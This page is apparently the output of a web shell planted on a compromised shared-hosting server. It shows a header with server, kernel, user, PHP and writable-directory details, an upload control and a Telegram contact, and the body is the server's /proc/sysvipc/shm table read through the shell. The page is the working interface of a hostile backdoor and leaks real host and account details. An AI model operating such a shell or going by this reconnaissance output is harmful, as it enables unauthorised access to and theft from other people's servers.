https://t.me/AnonymousX5
Server : LiteSpeed
System : Linux server354.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User : getfsxkz ( 1681)
PHP Version : 8.1.33
Disable Function : NONE
Directory :  /proc/sysvipc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/sysvipc/shm
       key      shmid perms                  size  cpid  lpid nattch   uid   gid  cuid  cgid      atime      dtime      ctime                   rss                  swap
         0   74842112  1600                195408 3607462 658054      1   976   969   976   969 1768233059 1768233059 1767105167                     0                196608
         0   74842113  1600                217112 3607462 658054      1   976   969   976   969 1768233059 1768233059 1767105169                     0                221184
         0   74842114  1600                238816 3607462 658054      1   976   969   976   969 1768233059 1768233059 1767105172                     0                241664
      5555          3   644                  1024  5218 357347      0     0     0     0     0 1768208121 1768208121 1751733498                  4096                     0
         0   74842116  1600                260544 3607462 658054      1   976   969   976   969 1768233059 1768233059 1767105174                     0                262144
         0   74842117  1600                282240 3607462 658054      1   976   969   976   969 1768233059 1768233059 1767105176                     0                282624
         0   74842118  1600                303944 3607462 658054      1   976   969   976   969 1768233059 1768233059 1767105178                     0                307200
         0   74842119  1600                325632 3607462 658054      1   976   969   976   969 1768233059 1768233059 1767105180                     0                327680
         0   74842120  1600                347328 3607462 658054      1   976   969   976   969 1768233059 1768233059 1767105182                     0                348160
         0   74842121  1600                369016 3607462 658054      1   976   969   976   969 1768233059 1768233059 1767105184                     0                372736
         0   74842122  1600                390704 3607462 658054      1   976   969   976   969 1768233059 1768233059 1767105186                     0                393216
         0   74842123  1600                412400 3607462 658054      1   976   969   976   969 1768233059 1768233059 1767105188                     0                413696
   5432001   72155148   600                    56 986650 651005      6    26    26    26    26 1768233025 1768233025 1766470133                     0                  4096
         0   74842125  1600                434096 3607462 658054      1   976   969   976   969 1768233059 1768233059 1767105190                     0                434176
         0   74842126  1600                455784 3607462 658054      1   976   969   976   969 1768233059 1768233059 1767105192                     0                458752
         0   74842127  1600                477472 3607462 658054      1   976   969   976   969 1768233059 1768233059 1767105194                     0                479232
         0   74842128  1600                499168 3607462 658054      1   976   969   976   969 1768233059 1768233059 1767105196                     0                499712
         0   74842129  1600                520856 3607462 658054      1   976   969   976   969 1768233059 1768233059 1767105198                     0                524288
         0   74842130  1600                542544 3607462 658054      1   976   969   976   969 1768233059 1768233059 1767105200                     0                544768
         0   74842131  1600                564240 3607462 658054      1   976   969   976   969 1768233059 1768233059 1767105202                     0                565248
         0   74842132  1600                585936 3607462 658054      1   976   969   976   969 1768233059 1768233059 1767105204                     0                589824
         0   74842133  1600                607632 3607462 658054      1   976   969   976   969 1768233059 1768233059 1767105206                     0                610304
         0   74842134  1600                629336 3607462 658054      1   976   969   976   969 1768233059 1768233059 1767105208                     0                630784
         0   74842135  1600                651040 3607462 658054      1   976   969   976   969 1768233059 1768233059 1767105210                     0                651264
         0   74842136  1600                672744 3607462 658054      1   976   969   976   969 1768233059 1768233059 1767105212                     0                675840
         0   74842137  1600                694432 3607462 658054      1   976   969   976   969 1768233059 1768233059 1767105214                     0                696320
         0   74842138  1600                716128 3607462 658054      1   976   969   976   969 1768233059 1768233059 1767105216                     0                716800
         0   74842139  1600                737816 3607462 658054      1   976   969   976   969 1768233059 1768233059 1767105221                     0                741376
         0   74842140   600                759512 3607462 658054      2   976   969   976   969 1768233059 1768233059 1767105224                761856                     0
         0   79364136  1400                154124 2488622 940492      2   983   977     0     0 1768232265          0 1768232265                155648                     0
         0   79364140  1600                524288 650347 650363      1  1393  1398  1393  1398 1768233022 1768233034 1768233022                  8192                     0
         0   74809397  1600                   576 3607457 658054      6   976   969   976   969 1768233059 1768233059 1767105149                  4096                     0
         0   74809398  1600               1825056 3607457 658054      6   976   969   976   969 1768233059 1768233059 1767105149               1826816                     0
         0   74809400  1600                 21744 3607462 658054      1   976   969   976   969 1768233059 1768233059 1767105151                     0                 24576
         0   74809401  1600                 43456 3607462 658054      1   976   969   976   969 1768233059 1768233059 1767105153                     0                 45056
         0   74809402  1600                 65160 3607462 658054      1   976   969   976   969 1768233059 1768233059 1767105155                     0                 65536
         0   74809403  1600                 86856 3607462 658054      1   976   969   976   969 1768233059 1768233059 1767105157                     0                 90112
         0   74809404  1600                108560 3607462 658054      1   976   969   976   969 1768233059 1768233059 1767105159                     0                110592
         0   74809405  1600                130312 3607462 658054      1   976   969   976   969 1768233059 1768233059 1767105161                     0                131072
         0   74809406  1600                152008 3607462 658054      1   976   969   976   969 1768233059 1768233059 1767105163                     0                155648
         0   74809407  1600                173712 3607462 658054      1   976   969   976   969 1768233059 1768233059 1767105165                     0                176128

https://t.me/AnonymousX5 - 2025